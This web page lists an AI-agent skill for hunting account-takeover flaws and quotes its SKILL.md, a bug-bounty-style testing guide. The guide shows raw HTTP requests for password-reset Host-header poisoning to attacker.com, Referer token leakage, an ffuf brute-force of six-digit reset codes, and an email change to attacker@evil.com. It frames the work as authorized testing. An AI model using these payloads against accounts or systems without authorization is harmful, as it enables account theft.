hunt-ato
Allows the agent to identify account takeover risks. It helps prevent attackers from taking control of user accounts.
What it does
This tool helps identify how an attacker could steal control of a user account on a website or app. It checks different methods that might be used to take over an account.
When to use it
- ✓When testing website security.
- ✓To understand how accounts can be stolen.
- ✓To check if password recovery protections are strong.
Example of what to ask your AI
“Check if it's possible to steal the account 'user@example.com' via password reset.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool simulates common attacks that exploit flaws in processes like password reset or email changes. It analyzes if an attacker can, for example, redirect a password reset link to themselves or guess recovery codes.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add sickn33/agentic-awesome-skills --skill hunt-atoOr download just the file:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-ato/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
13. ATO — ACCOUNT TAKEOVER TAXONOMY
9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
Path 1: Password Reset Poisoning (Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
email=victimB@company.com
The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
Path 2: Reset Token in Referer / Open-Redirect Leak
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.
Path 3: Predictable / Weak Reset Tokens
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.
Path 4: Token No-Expiry / Reuse / Cross-Account
Expiry: request token → wait 2h → still valid? = bug
Reuse: use token once → use again → still valid? = bug
Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
Path 5: Email Change Without Re-Auth
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm
If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
Path 6: JWT Manipulation
# (a) alg:none — strip the signature, set header alg to none
…
FAQ
What is 'Account Takeover' (ATO)?
It's when an attacker manages to gain control of a user account that doesn't belong to them.
Do I need permission to use this tool?
Yes, you need explicit, written permission from the system owner before using this tool. Misuse is illegal.
Can this tool actually steal an account?
It's designed to identify vulnerabilities that *could* be used to steal an account. Actual use requires technical knowledge and permission.
Details
Original description by the author
Hunt account takeover taxonomy
Popularity
- GitHub stars
- 48k
- Ranking position
- #3242
- License
- MIT
- Updated
- 10/15/2026
Comments
- …
More skills from this repository
00-andruia-consultant
Helps your agent start or improve AI projects. It analyzes code, suggests tools, and creates action plans in Spanish.
sickn33/agentic-awesome-skills
007
Lets your agent perform security audits and threat modeling. It's useful for protecting projects against attacks and vulnerabilities.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Helps your agent create or improve AI tools. It defines how tools work, writes documentation, and validates the structure.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Lets your agent create a summary about a specific industry. It's useful for understanding the context, rules, usage patterns, and risks of a project, using reliable sources.
sickn33/agentic-awesome-skills
Similar skills
django-security
Helps your agent implement security practices in Django applications. It focuses on authentication, authorization, and prevention against common attacks, ensuring more secure code.
affaan-m/ECC
laravel-security
Helps your agent secure Laravel applications against threats. Implements security practices for authentication, authorization, and common attack prevention.
affaan-m/ECC
module-regression
Helps your agent manage changes in large projects. Ensures code changes in one part don't break other parts.
affaan-m/ECC